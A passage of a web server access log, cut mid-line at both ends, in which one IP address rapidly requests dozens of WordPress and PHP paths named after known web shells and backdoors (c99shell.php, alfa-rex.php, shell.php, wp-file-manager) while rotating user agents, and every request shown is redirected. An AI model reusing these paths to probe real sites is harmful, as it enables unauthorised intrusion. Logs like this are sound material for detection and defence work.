Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:44 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:44 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:54:45 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:45 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:45 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:45 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:54:46 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:46 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:46 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:46 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:47 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:47 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:47 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:48 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:54:48 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:54:48 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:48 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:49 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:49 +0300] "GET /wordpress/wp-admin/includes/wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:49 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:54:49 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:50 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:50 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:54:50 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:54:50 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:51 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:51 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:51 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:51 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:54:52 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:52 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:54:52 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:52 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:53 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:54:53 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:53 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:53 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:54:54 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:54 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:54 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:54 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:55 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:55 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:55 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:55 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:56 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:56 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:56 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:57 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:57 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:54:57 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:54:57 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:58 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:58 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:58 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:54:58 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:58 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:54:59 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:54:59 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:59 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:59 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:00 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:00 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:00 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:00 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:55:01 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:01 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:01 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:02 +0300] "GET /img/prettyPhoto/dark_square/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:02 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:02 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:55:03 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:03 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:03 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:55:04 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:04 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:04 +0300] "GET /css/hekokstyle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:08 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:08 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:08 +0300] "GET /img/chat-search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:09 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:09 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:09 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:10 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:10 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:10 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:10 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:11 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:11 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:11 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:11 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:12 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:55:12 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:12 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:12 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:55:13 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:55:13 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:55:13 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:13 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:14 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:55:14 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:14 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:14 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:15 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:15 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:15 +0300] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:15 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:16 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:16 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:55:16 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:55:16 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:55:17 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:17 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 